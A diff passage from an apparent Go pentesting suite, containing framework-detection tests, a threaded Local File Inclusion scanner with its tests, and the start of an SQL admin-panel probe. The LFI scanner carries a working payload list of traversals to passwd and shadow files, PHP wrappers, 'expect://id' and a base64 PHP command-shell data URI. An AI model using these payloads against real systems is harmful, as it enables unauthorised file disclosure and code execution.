func TestDetectFramework_Angular(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html ng-version="15.0.0">
|
||||
<head><title>Angular App</title></head>
|
||||
<body>
|
||||
<app-root _nghost-abc-c123 _ngcontent-abc-c123></app-root>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Angular" {
|
||||
t.Errorf("expected framework 'Angular', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_React(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>React App</title></head>
|
||||
<body>
|
||||
<div id="root" data-reactroot="">Content</div>
|
||||
<script src="/static/js/react-dom.production.min.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "React" {
|
||||
t.Errorf("expected framework 'React', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Svelte(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head><title>Svelte App</title></head>
|
||||
<body>
|
||||
<div id="app" class="__svelte-123">
|
||||
<span class="svelte-abc123">Content</span>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Svelte" {
|
||||
t.Errorf("expected framework 'Svelte', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectFramework_Joomla(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte(`
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta name="generator" content="Joomla! - Open Source Content Management">
|
||||
<script src="/media/jui/js/jquery.js"></script>
|
||||
</head>
|
||||
<body>
|
||||
<div class="Joomla">Content</div>
|
||||
</body>
|
||||
</html>
|
||||
`))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
result, err := DetectFramework(server.URL, 5*time.Second, "")
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result == nil {
|
||||
t.Fatal("expected result, got nil")
|
||||
}
|
||||
if result.Name != "Joomla" {
|
||||
t.Errorf("expected framework 'Joomla', got '%s'", result.Name)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCVEEntry_Fields(t *testing.T) {
|
||||
entry := CVEEntry{
|
||||
CVE: "CVE-2021-3129",
|
||||
AffectedVersions: []string{"8.0.0", "8.0.1"},
|
||||
FixedVersion: "8.4.2",
|
||||
Severity: "critical",
|
||||
Description: "RCE vulnerability",
|
||||
Recommendations: []string{"Update immediately"},
|
||||
}
|
||||
|
||||
if entry.CVE != "CVE-2021-3129" {
|
||||
t.Errorf("expected CVE 'CVE-2021-3129', got '%s'", entry.CVE)
|
||||
}
|
||||
if len(entry.AffectedVersions) != 2 {
|
||||
t.Errorf("expected 2 affected versions, got %d", len(entry.AffectedVersions))
|
||||
}
|
||||
if entry.Severity != "critical" {
|
||||
t.Errorf("expected Severity 'critical', got '%s'", entry.Severity)
|
||||
}
|
||||
}
|
||||
+309
@@ -0,0 +1,309 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
// LFIResult represents the results of LFI reconnaissance
|
||||
type LFIResult struct {
|
||||
Vulnerabilities []LFIVulnerability `json:"vulnerabilities,omitempty"`
|
||||
TestedParams int `json:"tested_params"`
|
||||
TestedPayloads int `json:"tested_payloads"`
|
||||
}
|
||||
|
||||
// LFIVulnerability represents a detected LFI vulnerability
|
||||
type LFIVulnerability struct {
|
||||
URL string `json:"url"`
|
||||
Parameter string `json:"parameter"`
|
||||
Payload string `json:"payload"`
|
||||
Evidence string `json:"evidence"`
|
||||
Severity string `json:"severity"`
|
||||
FileIncluded string `json:"file_included,omitempty"`
|
||||
}
|
||||
|
||||
// LFI payloads for directory traversal
|
||||
var lfiPayloads = []struct {
|
||||
payload string
|
||||
target string
|
||||
severity string
|
||||
}{
|
||||
// Linux/Unix paths
|
||||
{"../../../../../../../etc/passwd", "/etc/passwd", "high"},
|
||||
{"....//....//....//....//....//etc/passwd", "/etc/passwd", "high"},
|
||||
{"..%2f..%2f..%2f..%2f..%2fetc/passwd", "/etc/passwd", "high"},
|
||||
{"..%252f..%252f..%252f..%252fetc/passwd", "/etc/passwd", "high"},
|
||||
{"%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", "/etc/passwd", "high"},
|
||||
{"....\\....\\....\\....\\etc\\passwd", "/etc/passwd", "high"},
|
||||
{"/etc/passwd", "/etc/passwd", "high"},
|
||||
{"/etc/passwd%00", "/etc/passwd", "high"},
|
||||
{"../../../../../../../etc/shadow", "/etc/shadow", "critical"},
|
||||
{"../../../../../../../proc/self/environ", "/proc/self/environ", "high"},
|
||||
{"../../../../../../../var/log/apache2/access.log", "apache access log", "medium"},
|
||||
{"../../../../../../../var/log/apache2/error.log", "apache error log", "medium"},
|
||||
{"../../../../../../../var/log/nginx/access.log", "nginx access log", "medium"},
|
||||
{"../../../../../../../var/log/nginx/error.log", "nginx error log", "medium"},
|
||||
|
||||
// Windows paths
|
||||
{"..\\..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts", "windows hosts", "high"},
|
||||
{"../../../../../../../windows/system32/drivers/etc/hosts", "windows hosts", "high"},
|
||||
{"..\\..\\..\\..\\boot.ini", "boot.ini", "high"},
|
||||
{"../../../../../../../boot.ini", "boot.ini", "high"},
|
||||
{"..\\..\\..\\..\\windows\\win.ini", "win.ini", "medium"},
|
||||
|
||||
// PHP wrappers
|
||||
{"php://filter/convert.base64-encode/resource=index.php", "php source", "high"},
|
||||
{"php://filter/read=convert.base64-encode/resource=config.php", "php config", "critical"},
|
||||
{"expect://id", "command execution", "critical"},
|
||||
{"php://input", "php input", "high"},
|
||||
{"data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+", "data wrapper", "critical"},
|
||||
}
|
||||
|
||||
// Evidence patterns for LFI detection
|
||||
var lfiEvidencePatterns = []struct {
|
||||
pattern *regexp.Regexp
|
||||
description string
|
||||
severity string
|
||||
}{
|
||||
{regexp.MustCompile(`root:.*:0:0:`), "/etc/passwd content", "high"},
|
||||
{regexp.MustCompile(`daemon:.*:1:1:`), "/etc/passwd content", "high"},
|
||||
{regexp.MustCompile(`nobody:.*:65534:`), "/etc/passwd content", "high"},
|
||||
{regexp.MustCompile(`\[boot loader\]`), "boot.ini content", "high"},
|
||||
{regexp.MustCompile(`\[operating systems\]`), "boot.ini content", "high"},
|
||||
{regexp.MustCompile(`; for 16-bit app support`), "win.ini content", "medium"},
|
||||
{regexp.MustCompile(`\[fonts\]`), "win.ini content", "medium"},
|
||||
{regexp.MustCompile(`127\.0\.0\.1\s+localhost`), "hosts file content", "medium"},
|
||||
{regexp.MustCompile(`DOCUMENT_ROOT=`), "/proc/self/environ content", "high"},
|
||||
{regexp.MustCompile(`PATH=.*:/usr`), "environment variables", "high"},
|
||||
{regexp.MustCompile(`<\?php`), "PHP source code", "high"},
|
||||
{regexp.MustCompile(`PD9waHA`), "base64 encoded PHP", "high"},
|
||||
}
|
||||
|
||||
// Common parameters to test
|
||||
var commonLFIParams = []string{
|
||||
"file", "page", "path", "include", "doc", "document",
|
||||
"folder", "root", "pg", "style", "pdf", "template",
|
||||
"php_path", "lang", "language", "view", "content",
|
||||
"layout", "mod", "conf", "url", "dir", "show",
|
||||
"name", "cat", "action", "read", "load", "open",
|
||||
}
|
||||
|
||||
// LFI performs LFI (Local File Inclusion) reconnaissance on the target URL
|
||||
func LFI(targetURL string, timeout time.Duration, threads int, logdir string) (*LFIResult, error) {
|
||||
fmt.Println(styles.Separator.Render("📁 Starting " + styles.Status.Render("LFI reconnaissance") + "..."))
|
||||
|
||||
sanitizedURL := strings.Split(targetURL, "://")[1]
|
||||
|
||||
if logdir != "" {
|
||||
if err := logger.WriteHeader(sanitizedURL, logdir, "LFI reconnaissance"); err != nil {
|
||||
log.Errorf("Error creating log file: %v", err)
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
lfilog := log.NewWithOptions(os.Stderr, log.Options{
|
||||
Prefix: "LFI 📁",
|
||||
}).With("url", targetURL)
|
||||
|
||||
lfilog.Infof("Starting LFI reconnaissance...")
|
||||
|
||||
result := &LFIResult{
|
||||
Vulnerabilities: []LFIVulnerability{},
|
||||
}
|
||||
|
||||
var mu sync.Mutex
|
||||
var wg sync.WaitGroup
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error {
|
||||
if len(via) >= 3 {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
return nil
|
||||
},
|
||||
}
|
||||
|
||||
// parse the target URL to check for existing parameters
|
||||
parsedURL, err := url.Parse(targetURL)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to parse URL: %w", err)
|
||||
}
|
||||
|
||||
existingParams := parsedURL.Query()
|
||||
paramsToTest := make(map[string]bool)
|
||||
|
||||
// add existing parameters
|
||||
for param := range existingParams {
|
||||
paramsToTest[param] = true
|
||||
}
|
||||
|
||||
// add common LFI parameters
|
||||
for _, param := range commonLFIParams {
|
||||
paramsToTest[param] = true
|
||||
}
|
||||
|
||||
result.TestedParams = len(paramsToTest)
|
||||
result.TestedPayloads = len(lfiPayloads)
|
||||
|
||||
lfilog.Infof("Testing %d parameters with %d payloads", len(paramsToTest), len(lfiPayloads))
|
||||
|
||||
// create work items
|
||||
type workItem struct {
|
||||
param string
|
||||
payload struct {
|
||||
payload string
|
||||
target string
|
||||
severity string
|
||||
}
|
||||
}
|
||||
|
||||
workItems := make([]workItem, 0, len(paramsToTest)*len(lfiPayloads))
|
||||
for param := range paramsToTest {
|
||||
for _, payload := range lfiPayloads {
|
||||
workItems = append(workItems, workItem{param: param, payload: payload})
|
||||
}
|
||||
}
|
||||
|
||||
// distribute work
|
||||
workChan := make(chan workItem, len(workItems))
|
||||
for _, item := range workItems {
|
||||
workChan <- item
|
||||
}
|
||||
close(workChan)
|
||||
|
||||
wg.Add(threads)
|
||||
for t := 0; t < threads; t++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for item := range workChan {
|
||||
// build test URL
|
||||
testParams := url.Values{}
|
||||
for k, v := range existingParams {
|
||||
if k != item.param {
|
||||
testParams[k] = v
|
||||
}
|
||||
}
|
||||
testParams.Set(item.param, item.payload.payload)
|
||||
|
||||
testURL := fmt.Sprintf("%s://%s%s?%s",
|
||||
parsedURL.Scheme,
|
||||
parsedURL.Host,
|
||||
parsedURL.Path,
|
||||
testParams.Encode())
|
||||
|
||||
resp, err := client.Get(testURL)
|
||||
if err != nil {
|
||||
log.Debugf("Error testing %s: %v", testURL, err)
|
||||
continue
|
||||
}
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 1024*100))
|
||||
resp.Body.Close()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
bodyStr := string(body)
|
||||
|
||||
// check for evidence patterns
|
||||
for _, evidence := range lfiEvidencePatterns {
|
||||
if evidence.pattern.MatchString(bodyStr) {
|
||||
mu.Lock()
|
||||
// check for duplicates
|
||||
duplicate := false
|
||||
for _, v := range result.Vulnerabilities {
|
||||
if v.Parameter == item.param && v.Payload == item.payload.payload {
|
||||
duplicate = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !duplicate {
|
||||
vuln := LFIVulnerability{
|
||||
URL: testURL,
|
||||
Parameter: item.param,
|
||||
Payload: item.payload.payload,
|
||||
Evidence: evidence.description,
|
||||
Severity: item.payload.severity,
|
||||
FileIncluded: item.payload.target,
|
||||
}
|
||||
result.Vulnerabilities = append(result.Vulnerabilities, vuln)
|
||||
|
||||
lfilog.Warnf("LFI vulnerability found: %s in param [%s] - %s",
|
||||
styles.SeverityHigh.Render(evidence.description),
|
||||
styles.Highlight.Render(item.param),
|
||||
styles.Status.Render(item.payload.target))
|
||||
|
||||
if logdir != "" {
|
||||
logger.Write(sanitizedURL, logdir,
|
||||
fmt.Sprintf("LFI: %s in param [%s] via payload [%s]\n",
|
||||
evidence.description, item.param, item.payload.payload))
|
||||
}
|
||||
}
|
||||
mu.Unlock()
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// summary
|
||||
if len(result.Vulnerabilities) > 0 {
|
||||
lfilog.Warnf("Found %d LFI vulnerabilities", len(result.Vulnerabilities))
|
||||
criticalCount := 0
|
||||
highCount := 0
|
||||
for _, v := range result.Vulnerabilities {
|
||||
if v.Severity == "critical" {
|
||||
criticalCount++
|
||||
} else if v.Severity == "high" {
|
||||
highCount++
|
||||
}
|
||||
}
|
||||
if criticalCount > 0 {
|
||||
lfilog.Errorf("%d CRITICAL vulnerabilities found!", criticalCount)
|
||||
}
|
||||
if highCount > 0 {
|
||||
lfilog.Warnf("%d HIGH severity vulnerabilities found", highCount)
|
||||
}
|
||||
} else {
|
||||
lfilog.Infof("No LFI vulnerabilities detected")
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// DetectLFIFromResponse checks a response body for LFI evidence
|
||||
func DetectLFIFromResponse(body string) (bool, string) {
|
||||
for _, evidence := range lfiEvidencePatterns {
|
||||
if evidence.pattern.MatchString(body) {
|
||||
return true, evidence.description
|
||||
}
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
@@ -0,0 +1,316 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestDetectLFIFromResponse_EtcPasswd(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
expectDesc string
|
||||
}{
|
||||
{
|
||||
name: "root entry",
|
||||
body: "root:x:0:0:root:/root:/bin/bash",
|
||||
expectFound: true,
|
||||
expectDesc: "/etc/passwd content",
|
||||
},
|
||||
{
|
||||
name: "daemon entry",
|
||||
body: "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin",
|
||||
expectFound: true,
|
||||
expectDesc: "/etc/passwd content",
|
||||
},
|
||||
{
|
||||
name: "nobody entry",
|
||||
body: "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin",
|
||||
expectFound: true,
|
||||
expectDesc: "/etc/passwd content",
|
||||
},
|
||||
{
|
||||
name: "no evidence",
|
||||
body: "<html><body>Hello World</body></html>",
|
||||
expectFound: false,
|
||||
expectDesc: "",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, desc := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
if desc != tt.expectDesc {
|
||||
t.Errorf("DetectLFIFromResponse() desc = %v, want %v", desc, tt.expectDesc)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectLFIFromResponse_WindowsFiles(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
}{
|
||||
{
|
||||
name: "boot.ini boot loader",
|
||||
body: "[boot loader]\ntimeout=30",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "boot.ini operating systems",
|
||||
body: "[operating systems]\nmulti(0)",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "win.ini fonts section",
|
||||
body: "; for 16-bit app support\n[fonts]",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "hosts file",
|
||||
body: "127.0.0.1 localhost",
|
||||
expectFound: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, _ := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectLFIFromResponse_EnvironmentVars(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
}{
|
||||
{
|
||||
name: "DOCUMENT_ROOT",
|
||||
body: "DOCUMENT_ROOT=/var/www/html",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "PATH variable",
|
||||
body: "PATH=/usr/local/bin:/usr/bin:/bin",
|
||||
expectFound: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, _ := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDetectLFIFromResponse_PHPSource(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
body string
|
||||
expectFound bool
|
||||
}{
|
||||
{
|
||||
name: "PHP opening tag",
|
||||
body: "<?php echo 'hello'; ?>",
|
||||
expectFound: true,
|
||||
},
|
||||
{
|
||||
name: "base64 encoded PHP",
|
||||
body: "PD9waHAgZWNobyAnaGVsbG8nOyA/Pg==",
|
||||
expectFound: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
found, _ := DetectLFIFromResponse(tt.body)
|
||||
if found != tt.expectFound {
|
||||
t.Errorf("DetectLFIFromResponse() found = %v, want %v", found, tt.expectFound)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIResult_Fields(t *testing.T) {
|
||||
result := LFIResult{
|
||||
Vulnerabilities: []LFIVulnerability{
|
||||
{
|
||||
URL: "http://example.com/?file=../../../etc/passwd",
|
||||
Parameter: "file",
|
||||
Payload: "../../../etc/passwd",
|
||||
Evidence: "/etc/passwd content",
|
||||
Severity: "high",
|
||||
FileIncluded: "/etc/passwd",
|
||||
},
|
||||
},
|
||||
TestedParams: 10,
|
||||
TestedPayloads: 25,
|
||||
}
|
||||
|
||||
if len(result.Vulnerabilities) != 1 {
|
||||
t.Errorf("expected 1 vulnerability, got %d", len(result.Vulnerabilities))
|
||||
}
|
||||
if result.Vulnerabilities[0].Parameter != "file" {
|
||||
t.Errorf("expected parameter 'file', got '%s'", result.Vulnerabilities[0].Parameter)
|
||||
}
|
||||
if result.Vulnerabilities[0].Severity != "high" {
|
||||
t.Errorf("expected severity 'high', got '%s'", result.Vulnerabilities[0].Severity)
|
||||
}
|
||||
if result.TestedParams != 10 {
|
||||
t.Errorf("expected 10 tested params, got %d", result.TestedParams)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIVulnerability_Fields(t *testing.T) {
|
||||
vuln := LFIVulnerability{
|
||||
URL: "http://example.com/?page=../../../etc/passwd",
|
||||
Parameter: "page",
|
||||
Payload: "../../../etc/passwd",
|
||||
Evidence: "/etc/passwd content",
|
||||
Severity: "high",
|
||||
FileIncluded: "/etc/passwd",
|
||||
}
|
||||
|
||||
if vuln.URL != "http://example.com/?page=../../../etc/passwd" {
|
||||
t.Errorf("unexpected URL: %s", vuln.URL)
|
||||
}
|
||||
if vuln.Parameter != "page" {
|
||||
t.Errorf("expected parameter 'page', got '%s'", vuln.Parameter)
|
||||
}
|
||||
if vuln.Payload != "../../../etc/passwd" {
|
||||
t.Errorf("unexpected payload: %s", vuln.Payload)
|
||||
}
|
||||
if vuln.Evidence != "/etc/passwd content" {
|
||||
t.Errorf("unexpected evidence: %s", vuln.Evidence)
|
||||
}
|
||||
if vuln.Severity != "high" {
|
||||
t.Errorf("expected severity 'high', got '%s'", vuln.Severity)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIPayloads_Exist(t *testing.T) {
|
||||
if len(lfiPayloads) == 0 {
|
||||
t.Error("lfiPayloads should not be empty")
|
||||
}
|
||||
|
||||
// check that all payloads have required fields
|
||||
for i, payload := range lfiPayloads {
|
||||
if payload.payload == "" {
|
||||
t.Errorf("payload %d has empty payload", i)
|
||||
}
|
||||
if payload.target == "" {
|
||||
t.Errorf("payload %d has empty target", i)
|
||||
}
|
||||
if payload.severity == "" {
|
||||
t.Errorf("payload %d has empty severity", i)
|
||||
}
|
||||
if payload.severity != "critical" && payload.severity != "high" && payload.severity != "medium" && payload.severity != "low" {
|
||||
t.Errorf("payload %d has invalid severity: %s", i, payload.severity)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestCommonLFIParams_Exist(t *testing.T) {
|
||||
if len(commonLFIParams) == 0 {
|
||||
t.Error("commonLFIParams should not be empty")
|
||||
}
|
||||
|
||||
expectedParams := []string{"file", "page", "path", "include"}
|
||||
for _, expected := range expectedParams {
|
||||
found := false
|
||||
for _, param := range commonLFIParams {
|
||||
if param == expected {
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Errorf("expected common param '%s' not found", expected)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFIEvidencePatterns_Exist(t *testing.T) {
|
||||
if len(lfiEvidencePatterns) == 0 {
|
||||
t.Error("lfiEvidencePatterns should not be empty")
|
||||
}
|
||||
|
||||
// verify patterns compile and match expected content
|
||||
testCases := []struct {
|
||||
content string
|
||||
shouldMatch bool
|
||||
description string
|
||||
}{
|
||||
{"root:x:0:0:root:/root:/bin/bash", true, "etc passwd root"},
|
||||
{"nobody:x:65534:65534:nobody", true, "etc passwd nobody"},
|
||||
{"[boot loader]", true, "boot.ini"},
|
||||
{"[operating systems]", true, "boot.ini"},
|
||||
{"127.0.0.1 localhost", true, "hosts file"},
|
||||
{"<html>Hello</html>", false, "normal html"},
|
||||
}
|
||||
|
||||
for _, tc := range testCases {
|
||||
matched := false
|
||||
for _, pattern := range lfiEvidencePatterns {
|
||||
if pattern.pattern.MatchString(tc.content) {
|
||||
matched = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if matched != tc.shouldMatch {
|
||||
t.Errorf("pattern match for %s: got %v, want %v", tc.description, matched, tc.shouldMatch)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestLFI_MockServer(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
file := r.URL.Query().Get("file")
|
||||
if file == "../../../../../../../etc/passwd" || file == "/etc/passwd" {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("root:x:0:0:root:/root:/bin/bash\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin"))
|
||||
} else {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
w.Write([]byte("<html><body>Normal page</body></html>"))
|
||||
}
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
// verify server returns passwd content for LFI payload
|
||||
resp, err := http.Get(server.URL + "/?file=../../../../../../../etc/passwd")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to make request: %v", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
t.Errorf("expected status 200, got %d", resp.StatusCode)
|
||||
}
|
||||
}
|
||||
+323
@@ -0,0 +1,323 @@
|
||||
/*
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
: :
|
||||
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
|
||||
: ▄█ █ █▀ · BSD 3-Clause License :
|
||||
: :
|
||||
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
|
||||
: lunchcat alumni & contributors :
|
||||
: :
|
||||
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
|
||||
*/
|
||||
|
||||
package scan
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/charmbracelet/log"
|
||||
"github.com/dropalldatabases/sif/internal/styles"
|
||||
"github.com/dropalldatabases/sif/pkg/logger"
|
||||
)
|
||||
|
||||
// SQLResult represents the results of SQL reconnaissance
|
||||
type SQLResult struct {
|
||||
AdminPanels []SQLAdminPanel `json:"admin_panels,omitempty"`
|
||||
DatabaseErrors []SQLDatabaseError `json:"database_errors,omitempty"`
|
||||
ExposedPorts []int `json:"exposed_ports,omitempty"`
|
||||
}
|
||||
|
||||
// SQLAdminPanel represents a found database admin panel
|
||||
type SQLAdminPanel struct {
|
||||
URL string `json:"url"`
|
||||
Type string `json:"type"`
|
||||
Status int `json:"status"`
|
||||
}
|
||||
|
||||
// SQLDatabaseError represents a detected database error
|
||||
type SQLDatabaseError struct {
|
||||
URL string `json:"url"`
|
||||
DatabaseType string `json:"database_type"`
|
||||
ErrorPattern string `json:"error_pattern"`
|
||||
}
|
||||
|
||||
// common database admin panel paths
|
||||
var sqlAdminPaths = []struct {
|
||||
path string
|
||||
panelType string
|
||||
}{
|
||||
{"/phpmyadmin/", "phpMyAdmin"},
|
||||
{"/phpMyAdmin/", "phpMyAdmin"},
|
||||
{"/pma/", "phpMyAdmin"},
|
||||
{"/PMA/", "phpMyAdmin"},
|
||||
{"/mysql/", "phpMyAdmin"},
|
||||
{"/myadmin/", "phpMyAdmin"},
|
||||
{"/MyAdmin/", "phpMyAdmin"},
|
||||
{"/adminer/", "Adminer"},
|
||||
{"/adminer.php", "Adminer"},
|
||||
{"/pgadmin/", "pgAdmin"},
|
||||
{"/phppgadmin/", "phpPgAdmin"},
|
||||
{"/sql/", "SQL Interface"},
|
||||
{"/db/", "Database Interface"},
|
||||
{"/database/", "Database Interface"},
|
||||
{"/dbadmin/", "Database Admin"},
|
||||
{"/mysql-admin/", "MySQL Admin"},
|
||||
{"/mysqladmin/", "MySQL Admin"},
|
||||
{"/sqlmanager/", "SQL Manager"},
|
||||
{"/websql/", "WebSQL"},
|
||||
{"/sqlweb/", "SQLWeb"},
|
||||
{"/rockmongo/", "RockMongo"},
|
||||
{"/mongodb/", "MongoDB Interface"},
|
||||
{"/mongo/", "MongoDB Interface"},
|
||||
{"/redis/", "Redis Interface"},
|
||||
{"/redis-commander/", "Redis Commander"},
|
||||
